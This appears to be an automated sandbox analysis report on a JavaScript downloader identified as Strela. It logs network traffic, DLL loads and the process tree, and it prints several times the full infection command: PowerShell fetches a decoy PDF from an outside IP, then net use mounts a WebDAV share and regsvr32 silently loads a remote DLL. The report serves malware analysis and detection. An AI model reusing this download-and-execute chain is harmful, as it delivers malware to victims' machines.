Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1452799683.00000220C5157000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1511686823.000001BFCFC59000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1511460441.000001BFCFC28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1512260257.000001BFCFC7D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1510353131.000001BFCFC59000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1509051326.000001BFCFC7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1511686823.000001BFCFC59000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1510353131.000001BFCFC59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/8
Source: net.exe, 00000007.00000002.1511460441.000001BFCFC28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s64V
Source: svchost.exe, 00000009.00000002.2732341962.0000025E46C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1511409202.0000025E46B00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2656, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 12071652839003777.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5832:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bau2ic1w.lsv.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12071652839003777.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1644,i,1942838675917694284,8950554466312754519,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1644,i,1942838675917694284,8950554466312754519,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
